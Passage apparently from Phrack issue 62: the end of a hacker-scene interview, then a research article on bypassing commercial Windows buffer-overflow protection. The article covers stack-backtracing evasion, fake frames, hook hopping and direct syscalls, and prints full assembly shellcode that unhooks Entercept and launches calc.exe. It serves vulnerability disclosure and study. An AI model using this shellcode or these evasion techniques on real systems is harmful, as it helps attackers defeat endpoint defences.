A: I would like to describe us as not active anymore. There are a couple of reasons for this. One is the natural shift of interest of members, such as when growing up and having a daytime job. But more importantly, the most previously most active members do not release their work under the TESO label anymore. Sometime ago, we also had internal trust problems where we did not know who leaked our internal stuff. This lead to general distrust and some developing stopped or slowed due to that. Sad thing.

Q: You have helped phrack in many occasions. What do you think about Phrack? What suggestions do you have for phrack?

A: I think phrack is the single best starting point for anyone seriously interested in learning how to become a real low level hacker. One could start ten issues in the past and gradually sharpen the skills to almost the today's cutting edge. The style, quality and focus of the articles is very diverse and always makes for an interesting read.

In the past year, Phrack started to work closer with the authors of the articles to produce higher quality articles for the readers. This is a great idea! Maybe further steps into this direction could follow.

For the article topics, I personally would like to see more articles on upcoming technologies to exploit, such as SOAP, web services, .NET, etc.

Q: What are you up to these days? How has the scene‑life influenced your lifestyle, goals and personality?

A: Nowadays, I am more of a computer science student than a scene member. The scene did not change me so much. Its a great place to meet intelligent people and to discuss new ideas.

Q: You have been in the scene for quite a while. If you look back, what was the worst thing that happened to the scene? What was the best that happened?

A: The worst was a bad long term development with an even worse backlash: the commercialization of the network security field. When the Internet really boomed, everybody was out to make a buck from selling security related products and services. A lot of former hackers "sold out". While its their personal choice to work in the security business and such business is not necessarily evil, for the scene it wasn't all that great.

The worse result has been the gap between once united hackers. Some people drew a more or less arbitrary line of black‑/whitehatism and started dividing the scene even further. The result you can see nowadays is that there are some separated groups in the scene piling up non public knowledge, while the "entry level skill" required to really be in the scene is increased and less people get into the scene. Those knowledgeable groups still have "whitehats" among their members, but nobody cares, because for the group it just works well and everybody within wins. On a wider scale, everybody loses and the cooperation and development of really creative new stuff is slowed and the scene shrinks. Fresh talented people wanting to get into the scene have no choice but to found their own teams.

The best thing for the scene were and still are the hacker events organized all around the world. They are a great contact point of the hackers and to the outside world.

Q: If you could turn the clock backwards, what would you do different in your young life ?

A: Be more relaxed about people posting my stuff although I did not wanted it to be public. It just caused trouble for everybody and in the end its more a fault on my side than on theirs.

=‑‑‑=[ One word comments

[give a 1‑word comment to each of the words on the left]

IRC : timeconsumptive

TESO : dreamteam

ADM : pioneers

Hacker meetings : melting‑pot

Whitehats : do not always wear white hats

Blackhats : do not always wear black hats

|=‑‑‑=[ Please tell our audience a worst case scenario into what the scene might turn into.

The extension to the bad development that already took place and I described in an earlier answer would include more company driven actions and sell outs. Possibly the worst long term thing for the scene would be a decrease in the scene's lose "infrastructure", such as magazines and conferences. This could be the result of stricter laws against hackers and already takes place in some countries. Imagine if the typical hacker conferences would be outlawed or strictly observed. Imagine when magazines such as Phrack would be shutdown. Imagine if groups like THC and websites like Packetstorm would be shutdown. That would be a bad development.

|=‑‑‑=[ And if everything works out fine? What's the best case scenario you can imagine?

The scene would be driven by discussions, new inventions, creative hacking stunts and a large number social events. Hackers would stick closer together, yet share more of their work, yet allowing newcomers to learn. People would not crawl for fame on mailing lists but would honestly respect each other.

To archieve this ideal, things that unite all hackers have to be valued more. All hackers share the enthusiasm for technology and creativity. Creativity is seldomly the result of sitting alone in a locked down room, but quite the opposite the result of many diverse ideas and discussions among intelligent people. If the environment hackers interact with each others in permits for exchange of ideas without getting ripped off by companies or other hackers, this would result in a great scene.

|=‑‑‑=[ Any suggestions/comments/flames to the scene and/or specific people?

I think some young talents are really doing a great job. Keep going!

|=‑‑‑=[ Shoutouts & Greetings

hendy, for being a long time trustable, reliable and humorous friend. stealth, die andere Nase, for intellectual challenges and always coming up with really cool stuff.

Halvar, skyper, gamma for making the hacker events real fun and organizing everything.

lorian, for being a smart guy.

acpizer, for his wisdom and stubborness.

The folks at THC and ADM for doing really cool stuff.

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Bypassing Win BO Protection

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x05 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑=[ Bypassing 3rd Party Windows Buffer Overflow Protection ]=‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ anonymous <p62_wbo_a@author.phrack.org ]=‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Jamie Butler <james.butler@hbgary.com> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ anonymous <p62_wbo_b@author.phrack.org ]=‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Contents

1 ‑ Introduction

2 ‑ Stack Backtracing

3 ‑ Evading Kernel Hooks

3.1 ‑ Kernel Stack Backtracing

3.2 ‑ Faking Stack Frames

4 ‑ Evading Userland Hooks

4.1 ‑ Implementation Problems ‑ Incomplete API Hooking

4.1.1 ‑ Not Hooking all API Versions

4.1.2 ‑ Not Hooking Deeply Enough

4.1.3 ‑ Not Hooking Thoroughly Enough

4.2 ‑ Fun With Trampolines

4.2.1 Patch Table Jumping

4.2.2 Hook Hopping

4.3 ‑ Repatching Win32 APIs

4.4 ‑ Attacking Userland Components

4.4.1 IAT Patching

4.4.2 Data Section Patching

4.5 ‑ Calling Syscalls Directly

4.6 ‑ Faking Stack Frames

5 ‑ Conclusions

‑‑[ 1 ‑ Introduction

Recently, a number of commercial security systems started to offer protection against buffer overflows. This paper analyzes the protection claims and describes several techniques to bypass the buffer overflow protection.

Existing commercial systems implement a number of techniques to protect against buffer overflows. Currently, stack backtracing is the most popular one. It is also the easiest to implement and the easiest to bypass.

Several commercial products such as Entercept (now NAI Entercept) and Okena (now Cisco Security Agent) implement this technique.

‑‑[ 2 ‑ Stack Backtracing

Most of the existing commercial security systems do not actually prevent buffer overflows but rather try to attempt to detect the execution of shellcode.

The most common technology used to detect shellcode is code page permission checking which involves checking whether code is executing on a writable page of memory. This is necessary since architectures such as x86 do not support the non‑executable memory bit.

Some systems also perform additional checking to see whether code's page of memory belongs to a memory mapped file section and not to an anonymous memory section.

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

page = get_page_from_addr( code_addr ); if (page‑>permissions & WRITABLE) return BUFFER_OVERFLOW;

ret = page_originates_from_file( page ); if (ret != TRUE) return BUFFER_OVERFLOW;

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Pseudo code for code page permission checking

Buffer overflow protection technologies (BOPT) that rely on stack backtracing don't actually create non‑executable heap and stack segments. Instead they hook the OS and check for shellcode execution during the hooked API calls.

Most operating systems can be hooked in userland or in kernel.

Next section deals with evading kernel hooks, while section 4 deals with bypassing userland hooks.

‑‑[ 3 ‑ Evading Kernel Hooks

When hooking the kernel, Host Intrusion Prevention Systems (HIPS) must be able to detect where a userland API call originated. Due to the heavy use of kernel32.dll and ntdll.dll libraries, an API call is usually several stack frames away from the actual syscall trap call. For this reason, some intrusion preventions systems rely on using stack backtracing to locate the original caller of a system call.

‑‑‑‑[ 3.1 ‑ Kernel Stack Backtracing

While stack backtracing can occur from either userland or kernel, it is far more important for the kernel components of a BOPT than its userland components. The existing commercial BOPT's kernel components rely entirely on stack backtracing to detect shellcode execution. Therefore, evading a kernel hook is simply a matter of defeating the stack backtracing mechanism.

Stack backtracing involves traversing stack frames and verifying that the return addresses pass the buffer overflow detection tests described above. Frequently, there is also an additional "return into libc" check, which involves checking that a return address points to an instruction immediately following a call or a jump. The basic operation of stack backtracing code, as used by a BOPT, is presented below.

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

while (is_valid_frame_pointer( ebp )) { ret_addr = get_ret_addr( ebp );

if (check_code_page(ret_addr) == BUFFER_OVERFLOW)

return BUFFER_OVERFLOW;

if (does_not_follow_call_or_jmp_opcode(ret_addr))

return BUFFER_OVERFLOW;

ebp = get_next_frame( ebp ); }

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Pseudo code for BOPT stack backtracing

When discussing how to evade stack backtracing, it is important to understand how stack backtracing works on an x86 architecture. A typical stack frame looks as follows during a function call:

: :

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| function B parameter #2 |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| function B parameter #1 |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| return EIP address |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| saved EBP |

|=========================|

| function A parameter #2 |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| function A parameter #1 |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| return EIP address |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| saved EBP |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

: :

The EBP register points to the next stack frame. Without the EBP register it is very hard, if not impossible, to correctly identify and trace through all the stack frames.

Modern compilers often omit the use of EBP as a frame pointer and use it as a general purpose register instead. With an EBP optimization, a stack frame looks as follows during a function call:

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| function parameter #2 |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| function parameter #1 |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| return EIP address |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

Notice that the EBP register is not present on the stack. Without an EBP register it is not possible for the buffer overflow detection technologies to accurately perform stack backtracing. This makes their task incredibly hard as a simple return into libc style attack will bypass the protection. Simply originating an API call one layer higher than the BOPT hook defeats the detection technique.

‑‑‑‑[ 3.2 ‑ Faking Stack Frames

Since the stack is under complete control of the shellcode, it is possible to completely alter its contents prior to an API call. Specially crafted stack frames can be used to bypass the buffer overflow detectors.

As was explained previously, the buffer overflow detector is looking for three key indicators of legitimate code: read‑only page permissions, memory mapped file section and a return address pointing to an instruction immediately following a call or jmp. Since function pointers change calling semantics, BOPT do not (and cannot) check that a call or jmp actually points to the API being called. Most importantly, the BOPT cannot check return addresses beyond the last valid EBP frame pointer (it cannot stack backtrace any further).

Evading a BOPT is therefore simply a matter of creating a "final" stack frame which has a valid return address. This valid return address must point to an instruction residing in a read‑only memory mapped file section and immediately following a call or jmp. Provided that the dummy return address is reasonably close to a second return address, the shellcode can easily regain control.

The ideal instruction sequence to point the dummy return address to is:

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

jmp [eax] ; or call [eax], or another register dummy_return: ... ; some number of nops or easily

; reversed instructions, e.g. inc eax

ret ; any return will do, e.g. ret 8

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Bypassing kernel BOPT components is easy because they must rely on user controlled data (the stack) to determine the validity of an API call. By correctly manipulating the stack, it is possible to prematurely terminate the stack return address analysis.

This stack backtracing evasion technique is also effective against userland hooks (see section 4.6).

‑‑[ 4 ‑ Evading Userland Hooks

Given the presence of the correct instruction sequence in a valid region of memory, it is possible to trivially bypass kernel buffer overflow protection techniques. Similar techniques can be used to bypass userland BOPT components. In addition, since the shellcode executes with the same permissions as the userland hooks, a number of other techniques can be used to evade the detection.

‑‑‑‑[ 4.1 ‑ Implementation Problems ‑ Incomplete API Hooking

There are many problems with the userland based buffer overflow protection technologies. For example, they require the buffer overflow protection code to be in the code path of all attacker's calls or the shellcode execution will go undetected.

Trying to determine what an attacker will do with his or her shellcode a priori is an extremely hard problem, if not an impossible one. Getting on the right path is not easy. Some of the obstacles in the way include:

a. Not accounting for both UNICODE and ANSI versions of a Win32 API call.

b. Not following the chaining nature of API calls. For example, many functions in kernel32.dll are nothing more than wrappers for other functions within kernel32.dll or ntdll.dll.

c. The constantly changing nature of the Microsoft Windows API.

‑‑‑‑‑‑‑‑[ 4.1.1 ‑ Not Hooking All API Versions

A commonly encountered mistake with userland API hooking implementations is incomplete code path coverage. In order for an API interception based products to be effective, all APIs utilized by attackers must be hooked. This requires the buffer overflow protection technology to hook somewhere along the code path an attacker _has_ to take. However, as will be shown, once an attacker has begun executing code, it becomes very difficult for third party systems to cover all code paths. Indeed, no tested commercial buffer overflow detector actually provided an effective code path coverage.

Many Windows API functions have two versions: ANSI and UNICODE. The ANSI function names usually end in A, and UNICODE functions end in W because of their wide character nature. The ANSI functions are often nothing more than wrappers that call the UNICODE version of the API. For example, CreateFileA takes the ANSI file name that was passed as a parameter and turns it into an UNICODE string. It then calls CreateFileW. Unless a vendor hooks both the UNICODE and ANSI version of the API function, an attacker can bypass the protection mechanism by simply calling the other version of the function.

For example, Entercept 4.1 hooks LoadLibraryA, but it makes no attempt to intercept LoadLibraryW. If a protection mechanism was only going to hook one version of a function, it would make more sense to hook the UNICODE version. For this particular function, Okena/CSA does a better job by hooking LoadLibraryA, LoadLibraryW, LoadLibraryExA, and LoadLibraryExW. Unfortunately for the third party buffer overflow detectors, simply hooking more functions in kernel32.dll is not enough.

‑‑‑‑‑‑‑‑[ 4.1.2 ‑ Not Hooking Deeply Enough

In Windows NT, kernel32.dll acts as a wrapper for ntdll.dll and yet many buffer overflow detection products do not hook functions within ntdll.dll. This simple error is similar to not hooking both the UNICODE and ANSI versions of a function. An attacker can simply call the ntdll.dll directly and completely bypass all the kernel32.dll "checkpoints" established by a buffer overflow detector.

For example, NAI Entercept tries to detect shellcode calling GetProcAddress() in kernel32.dll. However, the shellcode can be rewritten to call LdrGetProcedureAddress() in ntdll.dll, which will accomplish the same goal, and at the same time never pass through the NAI Entercept hook.

Similarly, shellcode can completely bypass userland hooks altogether and make system calls directly (see section 4.5).

‑‑‑‑‑‑‑‑[ 4.1.3 ‑ Not Hooking Thoroughly Enough

The interactions between the various different Win32 API functions is byzantine, complex and difficult to understand. A vendor must make only one mistake in order to create a window of opportunity for an attacker.

For example, Okena/CSA and NAI Entercept both hook WinExec trying to prevent attacker's shellcode from spawning a process.

The call path for WinExec looks like this:

WinExec() ‑‑> CreateProcessA() ‑‑> CreateProcessInternalA()

Okena/CSA and NAI Entercept hook both WinExec() and CreateProcessA() (see Appendix A and B). However, neither product hooks CreateProcessInternalA() (exported by kernel32.dll). When writing a shellcode, an attacker could find the export for CreateProcessInternalA() and use it instead of calling WinExec().

CreateProcessA() pushes two NULLs onto the stack before calling CreateProcessInternalA(). Thus a shellcode only needs to push two NULLs and then call CreateProcessInternalA() directly to evade the userland API hooks of both products.

As new DLLs and APIs are released, the complexity of Win32 API internal interactions increases, making the problem worse. Third party product vendors are at a severe disadvantage when implementing their buffer overflow detection technologies and are bound to make mistakes which can be exploited by attackers.

‑‑‑‑[ 4.2 ‑ Fun With Trampolines

Most Win32 API functions begin with a five byte preamble. First, EBP is pushed onto the stack, then ESP is moved into EBP.

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Code Bytes Assembly

55 push ebp 8bec mov ebp, esp

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Both Okena/CSA and Entercept use inline function hooking. They overwrite the first 5 bytes of a function with an immediate unconditional jump or call. For example, this is what the first few bytes of WinExec() look like after NAI Entercept's hooks have been installed:

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Code Bytes Assembly e8 xx xx xx xx call xxxxxxxx 54 push esp 53 push ebx 56 push esi 57 push edi

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Alternatively, the first few bytes could be overwritten with a jump instruction:

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Code Bytes Assembly e9 xx xx xx xx jmp xxxxxxxx ...

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Obviously, it is easy for shellcode to test for these and other signatures before calling a function. If a hijacking mechanism is detected, the shellcode can use several different techniques to bypass the hook.

‑‑‑‑‑‑[ 4.2.1 ‑ Patch Table Jumping

When an API is hooked, the original preamble is saved into a table so that the buffer overflow detector can recreate the original API after performing its validation checks. The preamble is stored in a patch table, which resides somewhere in the address space of an application. When shellcode detects the presence of an API hook, it can simply search for the patch table and make its calls to patch table entries. This completely avoids the hook, preventing the userland buffer overflow detector components from ever being in the attacker's call path.

‑‑‑‑‑‑[ 4.2.2 ‑ Hook Hopping

Alternatively, instead of locating the patch table, shellcode can include its own copy of the original pre‑hook preamble. After executing its own API preamble, the shellcode can transfer execution to immediately after the API hook (function address plus five bytes).

Since Intel x86 has variable length instructions, one must take this into account in order to land on an even instruction boundary:

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Shellcode:

call WinExecPreamble

WinExecPreamble:

push ebp

mov ebp, esp sub esp, 54 jmp WinExec+6

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This technique will not work if another function within the call path is also hooked. In this case, Entercept also hooks CreateProcessA(), which WinExec() calls. Thus, to evade detection shellcode should call CreateProcessA() using the stored copy of CreateProcessA's preamble.

‑‑‑‑[ 4.3 ‑ Repatching Win32 APIs

Thoroughly hooking Win32 APIs is not effective when certain fundamental errors are made in the implementation of a userland buffer overflow detection component.

Certain implementations (NAI Entercept) have a serious problem with the way they perform their API hooking. In order to be able to overwrite preambles of hooked functions, the code section for a DLL has to be made writable. Entercept marks code sections of kernel32.dll and ntdll.dll as writable in order to be able to modify their contents. However, Entercept never resets the writable bit!

Due to this serious security flaw, it is possible for an attacker to overwrite the API hook by re‑injecting the original preamble code. For the WinExec() and CreateProcessA() examples, this would require overwriting the first 6 bytes (just to be instruction aligned) of WinExec() and CreateProcessA() with the original preamble.

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

WinExecOverWrite:

Code Bytes Assembly 55 push ebp 8bec mov ebp, esp 83ec54 sub esp, 54

CreateProcessAOverWrite: Code Bytes Assembly 55 push ebp 8bec mov ebp, esp ff752c push DWORD PTR [ebp+2c]

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This technique will not work against properly implemented buffer overflow detectors, however it is very effective against NAI Entercept. A complete shellcode example which overwrites the NAI Entercept hooks is presented below:

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

// This sample code overwrites the preamble of WinExec and

// CreateProcessA to avoid detection. The code then

// calls WinExec with a "calc.exe" parameter.

// The code demonstrates that by overwriting function

// preambles, it is able to evade Entercept and Okena/CSA

// buffer overflow protection.

_asm {

pusha

jmp JUMPSTART

START:

pop ebp

xor eax, eax mov al, 0x30 mov eax, fs:[eax]; mov eax, [eax+0xc];

// We now have the module_item for ntdll.dll

mov eax, [eax+0x1c]

// We now have the module_item for kernel32.dll

mov eax, [eax]

// Image base of kernel32.dll

mov eax, [eax+0x8]

movzx ebx, word ptr [eax+3ch]

// pe.oheader.directorydata[EXPORT=0]

mov esi, [eax+ebx+78h] lea esi, [eax+esi+18h]

// EBX now has the base module address

mov ebx, eax lodsd

// ECX now has the number of function names

mov ecx, eax lodsd

add eax,ebx

// EDX has addresses of functions

mov edx,eax

lodsd

// EAX has address of names

add eax,ebx

// Save off the number of named functions

// for later

push ecx

// Save off the address of the functions

push edx

RESETEXPORTNAMETABLE:

xor edx, edx

INITSTRINGTABLE:

mov esi, ebp // Beginning of string table

inc esi

MOVETHROUGHTABLE:

mov edi, [eax+edx*4] add edi, ebx // EBX has the process base address

xor ecx, ecx mov cl, BYTE PTR [ebp] test cl, cl

jz DONESTRINGSEARCH

STRINGSEARCH: // ESI points to the function string table

repe cmpsb

je Found

// The number of named functions is on the stack

cmp [esp+4], edx je NOTFOUND inc edx

jmp INITSTRINGTABLE

Found:

pop ecx

shl edx, 2

add edx, ecx mov edi, [edx] add edi, ebx push edi

push ecx

xor ecx, ecx mov cl, BYTE PTR [ebp] inc ecx

add ebp, ecx jmp RESETEXPORTNAMETABLE

DONESTRINGSEARCH:

OverWriteCreateProcessA:

pop edi

pop edi

push 0x06

pop ecx

inc esi

rep movsb

OverWriteWinExec:

pop edi

push edi

push 0x06

pop ecx

inc esi

rep movsb

CallWinExec:

push 0x03

push esi

call [esp+8]

NOTFOUND:

pop edx

STRINGEXIT:

pop ecx

popa;

jmp EXIT

JUMPSTART:

add esp, 0x1000 call START

WINEXEC:

_emit 0x07 _emit 'W' _emit 'i' _emit 'n' _emit 'E' _emit 'x' _emit 'e' _emit 'c'

CREATEPROCESSA:

_emit 0x0e _emit 'C' _emit 'r' _emit 'e' _emit 'a' _emit 't' _emit 'e' _emit 'P' _emit 'r' _emit 'o' _emit 'c' _emit 'e' _emit 's' _emit 's' _emit 'A'

ENDOFTABLE:

_emit 0x00

WinExecOverWrite:

_emit 0x06 _emit 0x55 _emit 0x8b _emit 0xec _emit 0x83 _emit 0xec _emit 0x54 CreateProcessAOverWrite:

_emit 0x06 _emit 0x55 _emit 0x8b _emit 0xec _emit 0xff _emit 0x75 _emit 0x2c

COMMAND:

_emit 'c' _emit 'a' _emit 'l' _emit 'c' _emit '.' _emit 'e' _emit 'x' _emit 'e' _emit 0x00

EXIT:

_emit 0x90

// Normally call ExitThread or something here

_emit 0x90

}

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑[ 4.4 ‑ Attacking Userland Components

While evading the hooks and techniques used by userland buffer overflow detector components is effective, there exist other mechanisms of bypassing the detection. Because both the shellcode and the buffer overflow detector are executing with the same privileges and in the same address space, it is possible for shellcode to directly attack the buffer overflow detector userland component.

Essentially, when attacking the buffer overflow detector userland component the attacker is attempting to subvert the mechanism used to perform the shellcode detection check. There are only two principle techniques for shellcode validation checking. Either the data used for the check is determined dynamically during each hooked API call, or the data is gathered at process start up and then checked during each call. In either case, it is possible for an attacker to subvert the process.

‑‑‑‑‑‑[ 4.4.1 ‑ IAT Patching

Rather than implementing their own versions of memory page information functions, the commercial buffer overflow protection products simply use the operating system APIs. In Windows NT, these are implemented in ntdll.dll. These APIs will be imported into the userland component (itself a DLL) via its PE Import Table. An attacker can patch vectors within the import table to alter the location of an API to a function supplied by the shellcode. By supplying the function used to do the validation checking by the buffer overflow detector, it is trivial for an attacker to evade detection.

‑‑‑‑‑‑[ 4.4.2 ‑ Data Section Patching

For various reasons, a buffer overflow detector might use a pre‑built list of page permissions within the address space. When this is the case, altering the address of the VirtualQuery() API is not effective. To subvert the buffer overflow detector, the shellcode has to locate and modify the data table used by the return address validation routines. This is a fairly straightforward, although application specific, technique for subverting buffer overflow prevention technologies.

‑‑‑‑[ 4.5 ‑ Calling Syscalls Directly

As mentioned above, rather than using ntdll.dll APIs to make system calls, it is possible for an attacker to create shellcode which makes system call directly. While this technique is very effective against userland components, it obviously cannot be used to bypass kernel based buffer overflow detectors.

To take advantage of this technique you must understand what parameters a kernel function uses. These may not always be the same as the parameters required by the kernel32 or ntdll API versions.

Also, you must know the system call number of the function in question. You can find this dynamically using a technique similar to the one to find function addresses. Once you have the address of the ntdll.dll version of the function you want to call, index into the function one byte and read the following DWORD. This is the system call number in the system call table for the function. This is a common trick used by rootkit developers.

Here is the pseudo code for calling NtReadFile system call directly:

...

xor eax, eax

// Optional Key

push eax

// Optional pointer to large integer with the file offset

push eax

push Length_of_Buffer

push Address_of_Buffer

// Before call make room for two DWORDs called the IoStatusBlock

push Address_of_IoStatusBlock

// Optional ApcContext

push eax

// Optional ApcRoutine

push eax

// Optional Event

push eax

// Required file handle

push hFile

// EAX must contain the system call number

mov eax, Found_Sys_Call_Num

// EDX needs the address of the userland stack

lea edx, [esp]

// Trap into the kernel

// (recent Windows NT versions use "sysenter" instead)

int 2e

‑‑‑‑[ 4.6 ‑ Faking Stack Frames

As described in section 3.2, kernel based stack backtracing can be bypassed using fake frames. Same techniques works against userland based detectors.

To bypass both userland and kernel backtracing, shellcode can create a fake stack frame without the ebp register on stack. Since stack backtracing relies on the presence of the ebp register to find the next stack frame, fake frames can stop backtracing code from tracing past the fake frame.

Of course, generating a fake stack frame is not going to work when the EIP register still points to shellcode which resides in a writable memory segment. To bypass the protection code, shellcode needs to use an address that lies in a non‑writable memory segment. This presents a problem since shellcode needs a way to eventually regain control of the execution.

The trick to regaining control is to proxy the return to shellcode through a "ret" instruction which resides in a non‑writable memory segment. "ret" instruction can be found dynamically by searching memory for a 0xC3 opcode.

Here is an illustration of a normal LoadLibrary("kernel32.dll") call that originates from a writable memory segment:

pushkernel32_string

callLoadLibrary

return_eip:

.

.

.

LoadLibrary:; * see below for a stack illustration

.

.

.

ret; return to stack‑based return_eip

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| address of "kernel32.dll" str|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| return address (return_eip) |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

As explained before, the buffer overflow protection code executes before LoadLibrary gets to run. Since the return address (return_eip) is in a writable memory segment, the protection code logs the overflow and terminates the process.

Next example illustrates 'proxy through a "ret" instruction' technique:

pushreturn_eip

pushkernel32_string

; fake "call LoadLibrary" call

pushaddress_of_ret_instruction

jmpLoadLibrary

return_eip:

.

.

.

LoadLibrary:; * see below for a stack illustration

.

.

.

ret; return to non stack‑based address_of_ret_instruction

address_of_ret_instruction:

.

.

.

ret; return to stack‑based return_eip

Once again, the buffer overflow protection code executes before LoadLibrary gets to run. This time though, the stack is setup with a return address pointing to a non‑writable memory segment. In addition, the ebp register is not present on stack thus the protection code cannot perform stack backtracing and determine that the return address in the next stack frame points to a writable segment. This allows the shellcode to call LoadLibrary which returns to the "ret" instruction. In its turn, the "ret" instruction pops the next return address off stack (return_eip) and transfers control to it.

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| return address (return_eip) |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| address of "kernel32.dll" str|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| address of "ret" instruction |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

In addition, any number of arbitrary complex fake stack frames can be setup to further confuse the protection code.

Here is an example of a fake frame that uses a "ret 8" instruction instead of simple "ret":

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| return address |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| address of "ret" instruction |<‑ fake frame 2

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| any value |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| address of "kernel32.dll" str |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| address of "ret 8" instruction |<‑ fake frame 1

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

This causes an extra 32‑bit value to be removed from stack, complicating any kind of analysis even further.

‑‑[ 5 ‑ Conclusions

The majority of commercial security systems do not actually prevent buffer overflows but rather detect the execution of shellcode. The most common technology used to detect shellcode is code page permission checking which relies on stack backtracing.

Stack backtracing involves traversing stack frames and verifying that the return addresses do not originate from writable memory segments such as stack or heap areas.

The paper presents a number of different ways to bypass both userland and kernel based stack backtracing. These range from tampering with function preambles to creating fake stack frames.

In conclusion, the majority of current buffer overflow protection implementations are flawed, providing a false sense of security and little real protection against determined attackers.

Appendix A: Entercept 4.1 Hooks

Entercept hooks a number of functions in userland and in the kernel. Here is a list of the currently hooked functions as of Entercept 4.1.

User Land

msvcrt.dll

_creat

_read

_write

system

kernel32.dll

CreatePipe

CreateProcessA

GetProcAddress

GetStartupInfoA

LoadLibraryA

PeekNamedPipe

ReadFile

VirtualProtect

VirtualProtectEx

